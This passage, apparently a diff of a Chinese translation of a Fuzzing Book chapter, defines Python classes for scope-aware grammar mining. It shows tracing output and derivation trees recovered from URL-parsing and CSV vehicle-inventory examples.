+	 - Node: <model@2>		? (<vehicle@3>:'1999,car,Chevy,Venture')
+		 -> [0] 'Cougar'
+		 -> [3] '\n1999,car,Chevy,Venture'
+		  > ['\n', '<vehicle@3>']
+ model@2='Venture'
+	 - Node: <start>		? (<model@2>:'Venture')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<model@2>:'Venture')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<model@2>:'Venture')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<model@2>:'Venture')
+		 -> [0] '1997'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<model@2>:'Venture')
+		 -> [0] 'van'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<model@2>:'Venture')
+		 -> [0] 'Ford'
+		 -> [5] ','
+		 -> [6] '<model@2>'
+	 - Node: <model@2>		? (<model@2>:'Venture')
+		 -> [0] 'E350'
+		 -> [1] '\n'
+		 -> [2] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<model@2>:'Venture')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<model@2>:'Venture')
+		 -> [0] '2000'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<model@2>:'Venture')
+		 -> [0] 'car'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<model@2>:'Venture')
+		 -> [0] 'Mercury'
+		 -> [5] ','
+		 -> [6] '<model@2>'
+	 - Node: <model@2>		? (<model@2>:'Venture')
+		 -> [0] 'Cougar'
+		 -> [3] '\n'
+		 -> [4] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<model@2>:'Venture')
+		 -> [0] '1999,car,Chevy,Venture'
+		  > ['1999,car,Chevy,', '<model@2>']
+ company@2='Chevy'
+	 - Node: <start>		? (<company@2>:'Chevy')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<company@2>:'Chevy')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<company@2>:'Chevy')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<company@2>:'Chevy')
+		 -> [0] '1997'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<company@2>:'Chevy')
+		 -> [0] 'van'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<company@2>:'Chevy')
+		 -> [0] 'Ford'
+		 -> [5] ','
+		 -> [6] '<model@2>'
+	 - Node: <model@2>		? (<company@2>:'Chevy')
+		 -> [0] 'E350'
+		 -> [1] '\n'
+		 -> [2] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<company@2>:'Chevy')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<company@2>:'Chevy')
+		 -> [0] '2000'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<company@2>:'Chevy')
+		 -> [0] 'car'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<company@2>:'Chevy')
+		 -> [0] 'Mercury'
+		 -> [5] ','
+		 -> [6] '<model@2>'
+	 - Node: <model@2>		? (<company@2>:'Chevy')
+		 -> [0] 'Cougar'
+		 -> [3] '\n'
+		 -> [4] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<company@2>:'Chevy')
+		 -> [0] '1999,car,Chevy,'
+		  > ['1999,car,', '<company@2>', ',']
+ year@2='1999'
+	 - Node: <start>		? (<year@2>:'1999')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<year@2>:'1999')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<year@2>:'1999')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<year@2>:'1999')
+		 -> [0] '1997'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<year@2>:'1999')
+		 -> [0] 'van'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<year@2>:'1999')
+		 -> [0] 'Ford'
+		 -> [5] ','
+		 -> [6] '<model@2>'
+	 - Node: <model@2>		? (<year@2>:'1999')
+		 -> [0] 'E350'
+		 -> [1] '\n'
+		 -> [2] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<year@2>:'1999')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<year@2>:'1999')
+		 -> [0] '2000'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<year@2>:'1999')
+		 -> [0] 'car'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<year@2>:'1999')
+		 -> [0] 'Mercury'
+		 -> [5] ','
+		 -> [6] '<model@2>'
+	 - Node: <model@2>		? (<year@2>:'1999')
+		 -> [0] 'Cougar'
+		 -> [3] '\n'
+		 -> [4] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<year@2>:'1999')
+		 -> [0] '1999,car,'
+		  > ['<year@2>', ',car,']
+
+```
+
+看最后一条语句。 我们有一个值`1999,car,`，其中仅`year`被替换了。 我们不再具有`'car'`变量，可以在此处继续替换。 发生这种情况是因为`'1999,car,Chevy,Venture'`中的`'car'`值未被视为新值，因为对于*不同的*方法调用（对于 `'2000,car,Mercury,Cougar'`）。
+
+## 范围为[的语法矿工](#A-Grammar-Miner-with-Scope)
+
+我们需要结合检查当前环境中的变量。 我们已经有很多方法调用，以便我们可以随时获取当前方法。 我们需要对变量做同样的事情。
+
+为此，我们将`CallStack`扩展到一个新类`InputStack`，该类包含调用的方法以及观察到的参数。 它实质上是方法激活的记录。 我们从堆栈底部的原始输入开始，对于每个新的方法调用，我们将该调用的参数作为新记录推入堆栈。
+
+### 输入堆栈
+
+```py
+class InputStack(CallStack):
+    def __init__(self, i, fragment_len=FRAGMENT_LEN):
+        self.inputs = [{START_SYMBOL: i}]
+        self.fragment_len = fragment_len
+        super().__init__()
+
+```
+
+为了检查是否保存了特定的变量，我们定义了`in_current_record()`，它仅检查当前作用域中的变量是否包含（而不是原始输入字符串）。
+
+```py
+class InputStack(InputStack):
+    def in_current_record(self, val):
+        return any(val in var for var in self.inputs[-1].values())
+
+```
+
+```py
+my_istack = InputStack('hello my world')
+
+```
+
+```py
+my_istack.in_current_record('hello')
+
+```
+
+```py
+True
+
+```
+
+```py
+my_istack.in_current_record('bye')
+
+```
+
+```py
+False
+
+```
+
+```py
+my_istack.inputs.append({'greeting': 'hello', 'location': 'world'})
+
+```
+
+```py
+my_istack.in_current_record('hello')
+
+```
+
+```py
+True
+
+```
+
+```py
+my_istack.in_current_record('my')
+
+```
+
+```py
+False
+
+```
+
+我们定义了`ignored()`方法，如果变量不是字符串，或者变量长度小于定义的`fragment_len`，则返回true。
+
+```py
+class InputStack(InputStack):
+    def ignored(self, val):
+        return not (isinstance(val, str) and len(val) >= self.fragment_len)
+
+```
+
+```py
+my_istack = InputStack('hello world')
+my_istack.ignored(1)
+
+```
+
+```py
+True
+
+```
+
+```py
+my_istack.ignored('a')
+
+```
+
+```py
+True
+
+```
+
+```py
+my_istack.ignored('help')
+
+```
+
+```py
+False
+
+```
+
+现在，我们可以定义`in_scope()`方法，该方法检查是否需要忽略变量，以及是否不忽略变量，该变量值是否存在于当前作用域中。
+
+```py
+class InputStack(InputStack):
+    def in_scope(self, k, val):
+        if self.ignored(val):
+            return False
+        return self.in_current_record(val)
+
+```
+
+最后，我们更新`enter()`，它将当前上下文中的相关变量推入堆栈。
+
+```py
+class InputStack(InputStack):
+    def enter(self, method, inputs):
+        my_inputs = {k: v for k, v in inputs.items() if self.in_scope(k, v)}
+        self.inputs.append(my_inputs)
+        super().enter(method)
+
+```
+
+当方法返回时，我们还需要相应的`leave()`来弹出输入并展开堆栈。
+
+```py
+class InputStack(InputStack):
+    def leave(self):
+        self.inputs.pop()
+        super().leave()
+
+```
+
+### ScopedVars
+
+我们需要更新`AssignmentVars`，以包含有关定义变量的范围的信息。 我们从更新`method_init()`开始。
+
+```py
+class ScopedVars(AssignmentVars):
+    def method_init(self):
+        self.call_stack = self.create_call_stack(self.my_input)
+        self.event_locations = {self.call_stack.method_id: []}
+
+    def create_call_stack(self, i):
+        return InputStack(i)
+
+```
+
+同样，`method_enter()`现在为当前​​方法调用初始化`accessed_seq_var`。
+
+```py
+class ScopedVars(ScopedVars):
+    def method_enter(self, cxt, my_vars):
+        self.current_event = 'call'
+        self.call_stack.enter(cxt.method, my_vars)
+        self.accessed_seq_var[self.call_stack.method_id] = {}
+        self.event_locations[self.call_stack.method_id] = []
+        self.register_event(cxt)
+        self.update(my_vars)
+
+```
+
+`update()`方法现在保存定义该值的上下文。 对于函数的参数，上下文应为调用该函数的上下文。 另一方面，在语句执行期间定义的值将具有当前上下文。
+
+此外，我们在值上注释而不是在键上注释，因为当下一行中的参数位于上下文中时，我们不想重复变量。 它们将具有相同的值，但上下文不同，因为它们存在于语句执行中。
+
+```py
+class ScopedVars(ScopedVars):
+    def update(self, v):
+        if self.current_event == 'call':
+            context = -2
+        elif self.current_event == 'line':
+            context = -1
+        else:
+            context = -1
+        for k, v in v.items():
+            self._set_kv(k, (v, self.call_stack.at(context)))
+        self.var_location_register(self.new_vars)
+        self.new_vars = set()
+
+```
+
+我们还需要保存当前的方法调用，以确定哪些变量在范围内。 现在，此信息以`accessed_seq_var[method_id][var]`的形式包含在变量名称中。
+
+```py
+class ScopedVars(ScopedVars):
+    def var_name(self, var):
+        return (var, self.call_stack.method_id,
+                self.accessed_seq_var[self.call_stack.method_id][var])
+
+```
+
+和以前一样，这次`var_access`只是在`method_id`的上下文中初始化相应的计数器。
+
+```py
+class ScopedVars(ScopedVars):
+    def var_access(self, var):
+        if var not in self.accessed_seq_var[self.call_stack.method_id]:
+            self.accessed_seq_var[self.call_stack.method_id][var] = 0
+        return self.var_name(var)
+
+```
+
+During a variable reassignment, we update the `accessed_seq_var` to reflect the new count.
+
+```py
+class ScopedVars(ScopedVars):
+    def var_assign(self, var):
+        self.accessed_seq_var[self.call_stack.method_id][var] += 1
+        self.new_vars.add(self.var_name(var))
+        return self.var_name(var)
+
+```
+
+现在，我们更新`defined_vars()`以说明新信息。
+
+```py
+class ScopedVars(ScopedVars):
+    def defined_vars(self, formatted=True):
+        def fmt(k):
+            method, i = k[1]
+            v = (method, i, k[0], self.var_def_lines[k])
+            return "%s[%d]:%s@%s" % v if formatted else v
+
+        return [(fmt(k), v) for k, v in self.defs.items()]
+
+```
+
+更新`seq_vars()`以考虑新信息。
+
+```py
+class ScopedVars(ScopedVars):
+    def seq_vars(self, formatted=True):
+        def fmt(k):
+            method, i = k[1]
+            v = (method, i, k[0], self.var_def_lines[k], k[2])
+            return "%s[%d]:%s@%s:%s" % v if formatted else v
+
+        return {fmt(k): v for k, v in self.defs.items()}
+
+```
+
+### 范围跟踪器
+
+定义`InputStack`和`Vars`之后，我们现在可以定义`ScopeTracker`了。 `ScopeTracker`仅在当前作用域中存在该值时才保存变量。
+
+```py
+class ScopeTracker(AssignmentTracker):
+    def __init__(self, my_input, trace, **kwargs):
+        self.current_event = None
+        super().__init__(my_input, trace, **kwargs)
+
+    def create_assignments(self, *args):
+        return ScopedVars(*args)
+
+```
+
+我们定义了一个包装器，用于检查作用域中是否存在变量。
+
+```py
+class ScopeTracker(ScopeTracker):
+    def is_input_fragment(self, var, value):
+        return self.my_assignments.call_stack.in_scope(var, value)
+
+```
+
+我们可以如下使用`ScopeTracker`
+
+```py
+vehicle_traces = []
+with Tracer(INVENTORY) as tracer:
+    process_inventory(tracer.my_input)
+sm = ScopeTracker(tracer.my_input, tracer.trace)
+vehicle_traces.append((tracer.my_input, sm))
+for k, v in sm.my_assignments.seq_vars().items():
+    print(k, '=', repr(v))
+
+```
+
+```py
+process_inventory[1]:inventory@1:1 = ('1997,van,Ford,E350\n2000,car,Mercury,Cougar\n1999,car,Chevy,Venture', ('<start>', 0))
+process_inventory[1]:inventory@1:2 = ('1997,van,Ford,E350\n2000,car,Mercury,Cougar\n1999,car,Chevy,Venture', ('process_inventory', 1))
+process_inventory[1]:vehicle@3:1 = ('1997,van,Ford,E350', ('process_inventory', 1))
+process_vehicle[2]:vehicle@1:1 = ('1997,van,Ford,E350', ('process_inventory', 1))
+process_vehicle[2]:vehicle@1:2 = ('1997,van,Ford,E350', ('process_vehicle', 2))
+process_vehicle[2]:model@2:1 = ('E350', ('process_vehicle', 2))
+process_vehicle[2]:company@2:1 = ('Ford', ('process_vehicle', 2))
+process_vehicle[2]:kind@2:1 = ('van', ('process_vehicle', 2))
+process_vehicle[2]:year@2:1 = ('1997', ('process_vehicle', 2))
+process_van[3]:model@1:1 = ('E350', ('process_vehicle', 2))
+process_van[3]:company@1:1 = ('Ford', ('process_vehicle', 2))
+process_van[3]:year@1:1 = ('1997', ('process_vehicle', 2))
+process_van[3]:model@1:2 = ('E350', ('process_van', 3))
+process_van[3]:company@1:2 = ('Ford', ('process_van', 3))
+process_van[3]:year@1:2 = ('1997', ('process_van', 3))
+process_inventory[1]:vehicle@3:2 = ('2000,car,Mercury,Cougar', ('process_inventory', 1))
+process_vehicle[4]:vehicle@1:1 = ('2000,car,Mercury,Cougar', ('process_inventory', 1))
+process_vehicle[4]:vehicle@1:2 = ('2000,car,Mercury,Cougar', ('process_vehicle', 4))
+process_vehicle[4]:model@2:1 = ('Cougar', ('process_vehicle', 4))
+process_vehicle[4]:company@2:1 = ('Mercury', ('process_vehicle', 4))
+process_vehicle[4]:kind@2:1 = ('car', ('process_vehicle', 4))
+process_vehicle[4]:year@2:1 = ('2000', ('process_vehicle', 4))
+process_car[5]:model@1:1 = ('Cougar', ('process_vehicle', 4))
+process_car[5]:company@1:1 = ('Mercury', ('process_vehicle', 4))
+process_car[5]:year@1:1 = ('2000', ('process_vehicle', 4))
+process_car[5]:model@1:2 = ('Cougar', ('process_car', 5))
+process_car[5]:company@1:2 = ('Mercury', ('process_car', 5))
+process_car[5]:year@1:2 = ('2000', ('process_car', 5))
+process_inventory[1]:vehicle@3:3 = ('1999,car,Chevy,Venture', ('process_inventory', 1))
+process_vehicle[6]:vehicle@1:1 = ('1999,car,Chevy,Venture', ('process_inventory', 1))
+process_vehicle[6]:vehicle@1:2 = ('1999,car,Chevy,Venture', ('process_vehicle', 6))
+process_vehicle[6]:model@2:1 = ('Venture', ('process_vehicle', 6))
+process_vehicle[6]:company@2:1 = ('Chevy', ('process_vehicle', 6))
+process_vehicle[6]:kind@2:1 = ('car', ('process_vehicle', 6))
+process_vehicle[6]:year@2:1 = ('1999', ('process_vehicle', 6))
+process_car[7]:model@1:1 = ('Venture', ('process_vehicle', 6))
+process_car[7]:company@1:1 = ('Chevy', ('process_vehicle', 6))
+process_car[7]:year@1:1 = ('1999', ('process_vehicle', 6))
+process_car[7]:model@1:2 = ('Venture', ('process_car', 7))
+process_car[7]:company@1:2 = ('Chevy', ('process_car', 7))
+process_car[7]:year@1:2 = ('1999', ('process_car', 7))
+
+```
+
+### Recovering a Derivation Tree
+
+`apply_new_definition()`的主要区别在于，我们添加了第二个条件来检查范围。 特别是，仅允许变量替换范围内的字符串片段部分。 可变范围由`scope`指示。 但是，仅考虑范围是不够的。 例如，考虑下面的片段。
+
+```py
+def my_fn(stringval):
+    partA, partB = stringval.split('/')
+    return partA, partB
+
+svalue = ...
+v1, v2 = my_fn(svalue)
+
+```
+
+在这里，`v1`和`v2`从上一个函数调用中获取它们的值。 不是从他们当前的背景出发。 也就是说，我们必须为内部子方法调用可能生成了如上所述的大片段的情况提供例外。 为了解决这个问题，我们定义了`mseq()`来检索方法调用序列。 在上述情况下，内部子方法调用的`mseq()`将大于当前的`mseq()`。 如果是这样，我们允许进行更换。
+
+```py
+class ScopeTreeMiner(TreeMiner):
+    def mseq(self, key):
+        method, seq, var, lno = key
+        return seq
+
+```
+
+`nt_var()`方法需要提取元组并从中生成一个非终止符号。 我们跳过方法序列，因为它与语法无关。
+
+```py
+class ScopeTreeMiner(ScopeTreeMiner):
+    def nt_var(self, key):
+        method, seq, var, lno = key
+        return to_nonterminal("%s@%d:%s" % (method, lno, var))
+
+```
+
+现在，我们重新定义`apply_new_definition()`以说明上下文和范围。 特别是，仅当变量在*范围*的范围内时才允许替换该值的一部分，也就是说，它是范围（如果是参数或参数，则为调用上下文的方法序列号） （如果是语句，则为当前上下文）与值的方法序列号的上下文相同。 当值的方法序列号大于变量的方法序列号时，将发生异常。 在这种情况下，该值可能来自内部调用。 在这种情况下，我们允许进行替换。
+
+```py
+class ScopeTreeMiner(ScopeTreeMiner):
+    def insert_into_tree(self, my_tree, pair):
+        var, values, my_scope = my_tree
+        (nt_var, nt_seq), (v, v_scope) = pair
+        applied = False
+        for i, value_ in enumerate(values):
+            key, arr, scope = value_
+            self.log(2, "-> [%d] %s" % (i, repr(value_)))
+            if is_nonterminal(key):
+                applied = self.insert_into_tree(value_, pair)
+                if applied:
+                    break
+            else:
+                if v_scope != scope:
+                    if nt_seq > scope:
+                        continue
+                if not v or v not in key:
+                    continue
+                prefix_k_suffix = [
+                    (nt_var, [(v, [], nt_seq)],
+                     scope) if i == 1 else (e, [], scope)
+                    for i, e in enumerate(key.partition(v))
+                    if e
+                ]
+                del values[i]
+                for j, rep in enumerate(prefix_k_suffix):
+                    values.insert(j + i, rep)
+
+                applied = True
+                self.log(2, " > %s" % (repr([i[0] for i in prefix_k_suffix])))
+                break
+        return applied
+
+```
+
+现在，将`apply_new_definition()`修改为携带其他上下文信息`mseq`。
+
+```py
+class ScopeTreeMiner(ScopeTreeMiner):
+    def apply_new_definition(self, tree, var, value_):
+        nt_var = self.nt_var(var)
+        seq = self.mseq(var)
+        val, (smethod, mseq) = value_
+        return self.insert_into_tree(tree, ((nt_var, seq), (val, mseq)))
+
+```
+
+我们还修改了`get_derivation_tree()`，以便初始节点携带上下文。
+
+```py
+class ScopeTreeMiner(ScopeTreeMiner):
+    def get_derivation_tree(self):
+        tree = (START_SYMBOL, [(self.my_input, [], 0)], 0)
+        for var, value in self.my_assignments:
+            self.log(0, "%s=%s" % (var, repr(value)))
+            self.apply_new_definition(tree, var, value)
+        return tree
+
+```
+
+#### 示例1：恢复URL解析树
+
+我们验证我们的URL解析树恢复是否仍能按预期进行。
+
+```py
+url_dts = []
+for inputstr in URLS_X:
+    clear_cache()
+    with Tracer(inputstr, files=['urllib/parse.py']) as tracer:
+        urlparse(tracer.my_input)
+    sm = ScopeTracker(tracer.my_input, tracer.trace)
+    for k, v in sm.my_assignments.defined_vars(formatted=False):
+        print(k, '=', repr(v))
+    dt = ScopeTreeMiner(
+        tracer.my_input,
+        sm.my_assignments.defined_vars(
+            formatted=False))
+    display_tree(dt.tree, graph_attr=lr_graph)
+    url_dts.append(dt)
+
+```
+
+```py
+('urlparse', 1, 'url', 361) = ('http://user:pass@www.google.com:80/?q=path#ref', ('<start>', 0))
+('urlparse', 1, 'url', 361) = ('http://user:pass@www.google.com:80/?q=path#ref', ('urlparse', 1))
+('urlsplit', 3, 'url', 394) = ('http://user:pass@www.google.com:80/?q=path#ref', ('urlparse', 1))
+('urlsplit', 3, 'url', 394) = ('http://user:pass@www.google.com:80/?q=path#ref', ('urlsplit', 3))
+('urlsplit', 3, 'scheme', 412) = ('http', ('urlsplit', 3))
+('urlsplit', 3, 'url', 413) = ('//user:pass@www.google.com:80/?q=path#ref', ('urlsplit', 3))
+('_splitnetloc', 5, 'url', 386) = ('//user:pass@www.google.com:80/?q=path#ref', ('urlsplit', 3))
+('_splitnetloc', 5, 'url', 386) = ('//user:pass@www.google.com:80/?q=path#ref', ('_splitnetloc', 5))
+('urlsplit', 3, 'url', 415) = ('/?q=path#ref', ('urlsplit', 3))
+('urlsplit', 3, 'netloc', 415) = ('user:pass@www.google.com:80', ('urlsplit', 3))
+('urlsplit', 3, 'url', 420) = ('/?q=path', ('urlsplit', 3))
+('urlsplit', 3, 'fragment', 420) = ('ref', ('urlsplit', 3))
+('urlsplit', 3, 'query', 422) = ('q=path', ('urlsplit', 3))
+('urlparse', 1, 'scheme', 369) = ('http', ('urlparse', 1))
+('urlparse', 1, 'fragment', 369) = ('ref', ('urlparse', 1))
+('urlparse', 1, 'query', 369) = ('q=path', ('urlparse', 1))
+('urlparse', 1, 'netloc', 369) = ('user:pass@www.google.com:80', ('urlparse', 1))
+('urlparse', 1, 'url', 361) = ('https://www.cispa.saarland:80/', ('<start>', 0))
+('urlparse', 1, 'url', 361) = ('https://www.cispa.saarland:80/', ('urlparse', 1))
+('urlsplit', 3, 'url', 394) = ('https://www.cispa.saarland:80/', ('urlparse', 1))
+('urlsplit', 3, 'url', 394) = ('https://www.cispa.saarland:80/', ('urlsplit', 3))
+('urlsplit', 3, 'rest', 432) = ('//www.cispa.saarland:80/', ('urlsplit', 3))
+('urlsplit', 3, 'scheme', 435) = ('https', ('urlsplit', 3))
+('urlsplit', 3, 'url', 435) = ('//www.cispa.saarland:80/', ('urlsplit', 3))
+('_splitnetloc', 7, 'url', 386) = ('//www.cispa.saarland:80/', ('urlsplit', 3))
+('_splitnetloc', 7, 'url', 386) = ('//www.cispa.saarland:80/', ('_splitnetloc', 7))
+('urlsplit', 3, 'netloc', 438) = ('www.cispa.saarland:80', ('urlsplit', 3))
+('urlparse', 1, 'scheme', 369) = ('https', ('urlparse', 1))
+('urlparse', 1, 'netloc', 369) = ('www.cispa.saarland:80', ('urlparse', 1))
+('urlparse', 1, 'url', 361) = ('http://www.fuzzingbook.org/#News', ('<start>', 0))
+('urlparse', 1, 'url', 361) = ('http://www.fuzzingbook.org/#News', ('urlparse', 1))
+('urlsplit', 3, 'url', 394) = ('http://www.fuzzingbook.org/#News', ('urlparse', 1))
+('urlsplit', 3, 'url', 394) = ('http://www.fuzzingbook.org/#News', ('urlsplit', 3))
+('urlsplit', 3, 'scheme', 412) = ('http', ('urlsplit', 3))
+('urlsplit', 3, 'url', 413) = ('//www.fuzzingbook.org/#News', ('urlsplit', 3))
+('_splitnetloc', 5, 'url', 386) = ('//www.fuzzingbook.org/#News', ('urlsplit', 3))
+('_splitnetloc', 5, 'url', 386) = ('//www.fuzzingbook.org/#News', ('_splitnetloc', 5))
+('urlsplit', 3, 'url', 415) = ('/#News', ('urlsplit', 3))
+('urlsplit', 3, 'netloc', 415) = ('www.fuzzingbook.org', ('urlsplit', 3))
+('urlsplit', 3, 'fragment', 420) = ('News', ('urlsplit', 3))
+('urlparse', 1, 'scheme', 369) = ('http', ('urlparse', 1))
+('urlparse', 1, 'fragment', 369) = ('News', ('urlparse', 1))
+('urlparse', 1, 'netloc', 369) = ('www.fuzzingbook.org', ('urlparse', 1))
+('urlparse', 1, 'url', 361) = ('ftp://freebsd.org/releases/5.8', ('<start>', 0))
+('urlparse', 1, 'url', 361) = ('ftp://freebsd.org/releases/5.8', ('urlparse', 1))
+('urlsplit', 3, 'url', 394) = ('ftp://freebsd.org/releases/5.8', ('urlparse', 1))
+('urlsplit', 3, 'url', 394) = ('ftp://freebsd.org/releases/5.8', ('urlsplit', 3))
+('urlsplit', 3, 'rest', 432) = ('//freebsd.org/releases/5.8', ('urlsplit', 3))
+('urlsplit', 3, 'scheme', 435) = ('ftp', ('urlsplit', 3))
+('urlsplit', 3, 'url', 435) = ('//freebsd.org/releases/5.8', ('urlsplit', 3))
+('_splitnetloc', 7, 'url', 386) = ('//freebsd.org/releases/5.8', ('urlsplit', 3))
+('_splitnetloc', 7, 'url', 386) = ('//freebsd.org/releases/5.8', ('_splitnetloc', 7))
+('urlsplit', 3, 'url', 438) = ('/releases/5.8', ('urlsplit', 3))
+('urlsplit', 3, 'netloc', 438) = ('freebsd.org', ('urlsplit', 3))
+('urlparse', 1, 'scheme', 369) = ('ftp', ('urlparse', 1))
+('urlparse', 1, 'url', 369) = ('/releases/5.8', ('urlparse', 1))
+('urlparse', 1, 'netloc', 369) = ('freebsd.org', ('urlparse', 1))
+
+```
+
+#### 示例2：恢复库存分析树
+
+接下来，我们来看从`process_inventory()`恢复上次失败的解析树。
+
+```py
+with Tracer(INVENTORY) as tracer:
+    process_inventory(tracer.my_input)
+
+sm = ScopeTracker(tracer.my_input, tracer.trace)
+for k, v in sm.my_assignments.defined_vars():
+    print(k, '=', repr(v))
+inventory_dt = ScopeTreeMiner(
+    tracer.my_input,
+    sm.my_assignments.defined_vars(
+        formatted=False))
+display_tree(inventory_dt.tree, graph_attr=lr_graph)
+
+```
+
+```py
+process_inventory[1]:inventory@1 = ('1997,van,Ford,E350\n2000,car,Mercury,Cougar\n1999,car,Chevy,Venture', ('<start>', 0))
+process_inventory[1]:inventory@1 = ('1997,van,Ford,E350\n2000,car,Mercury,Cougar\n1999,car,Chevy,Venture', ('process_inventory', 1))
+process_inventory[1]:vehicle@3 = ('1997,van,Ford,E350', ('process_inventory', 1))
+process_vehicle[2]:vehicle@1 = ('1997,van,Ford,E350', ('process_inventory', 1))
+process_vehicle[2]:vehicle@1 = ('1997,van,Ford,E350', ('process_vehicle', 2))
+process_vehicle[2]:model@2 = ('E350', ('process_vehicle', 2))
+process_vehicle[2]:company@2 = ('Ford', ('process_vehicle', 2))
+process_vehicle[2]:kind@2 = ('van', ('process_vehicle', 2))
+process_vehicle[2]:year@2 = ('1997', ('process_vehicle', 2))
+process_van[3]:model@1 = ('E350', ('process_vehicle', 2))
+process_van[3]:company@1 = ('Ford', ('process_vehicle', 2))
+process_van[3]:year@1 = ('1997', ('process_vehicle', 2))
+process_van[3]:model@1 = ('E350', ('process_van', 3))
+process_van[3]:company@1 = ('Ford', ('process_van', 3))
+process_van[3]:year@1 = ('1997', ('process_van', 3))
+process_inventory[1]:vehicle@3 = ('2000,car,Mercury,Cougar', ('process_inventory', 1))
+process_vehicle[4]:vehicle@1 = ('2000,car,Mercury,Cougar', ('process_inventory', 1))
+process_vehicle[4]:vehicle@1 = ('2000,car,Mercury,Cougar', ('process_vehicle', 4))
+process_vehicle[4]:model@2 = ('Cougar', ('process_vehicle', 4))
+process_vehicle[4]:company@2 = ('Mercury', ('process_vehicle', 4))
+process_vehicle[4]:kind@2 = ('car', ('process_vehicle', 4))
+process_vehicle[4]:year@2 = ('2000', ('process_vehicle', 4))
+process_car[5]:model@1 = ('Cougar', ('process_vehicle', 4))
+process_car[5]:company@1 = ('Mercury', ('process_vehicle', 4))
+process_car[5]:year@1 = ('2000', ('process_vehicle', 4))
+process_car[5]:model@1 = ('Cougar', ('process_car', 5))
+process_car[5]:company@1 = ('Mercury', ('process_car', 5))
+process_car[5]:year@1 = ('2000', ('process_car', 5))
+process_inventory[1]:vehicle@3 = ('1999,car,Chevy,Venture', ('process_inventory', 1))
+process_vehicle[6]:vehicle@1 = ('1999,car,Chevy,Venture', ('process_inventory', 1))
+process_vehicle[6]:vehicle@1 = ('1999,car,Chevy,Venture', ('process_vehicle', 6))
+process_vehicle[6]:model@2 = ('Venture', ('process_vehicle', 6))
+process_vehicle[6]:company@2 = ('Chevy', ('process_vehicle', 6))
+process_vehicle[6]:kind@2 = ('car', ('process_vehicle', 6))
+process_vehicle[6]:year@2 = ('1999', ('process_vehicle', 6))
+process_car[7]:model@1 = ('Venture', ('process_vehicle', 6))
+process_car[7]:company@1 = ('Chevy', ('process_vehicle', 6))
+process_car[7]:year@1 = ('1999', ('process_vehicle', 6))
+process_car[7]:model@1 = ('Venture', ('process_car', 7))
+process_car[7]:company@1 = ('Chevy', ('process_car', 7))
+process_car[7]:year@1 = ('1999', ('process_car', 7))
+
+```
+
+<svg height="683pt" viewBox="0.00 0.00 1839.00 683.00" width="1839pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 679)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-333.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="174" y="-333.8"><process_inventory@1:inventory></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="406" y="-333.8"><process_inventory@1:inventory></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="631.5" y="-458.8"><process_inventory@3:vehicle></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node24"><title>23</title></g> <g class="edge" id="edge23"><title>2->23</title></g> <g class="node" id="node25"><title>24</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="631.5" y="-333.8"><process_inventory@3:vehicle></text></g> <g class="edge" id="edge24"><title>2->24</title></g> <g class="node" id="node45"><title>44</title></g> <g class="edge" id="edge44"><title>2->44</title></g> <g class="node" id="node46"><title>45</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="631.5" y="-245.8"><process_inventory@3:vehicle></text></g> <g class="edge" id="edge45"><title>2->45</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="844" y="-494.8"><process_vehicle@1:vehicle></text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1050" y="-547.8"><process_vehicle@1:vehicle></text></g> <g class="edge" id="edge5"><title>4->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" 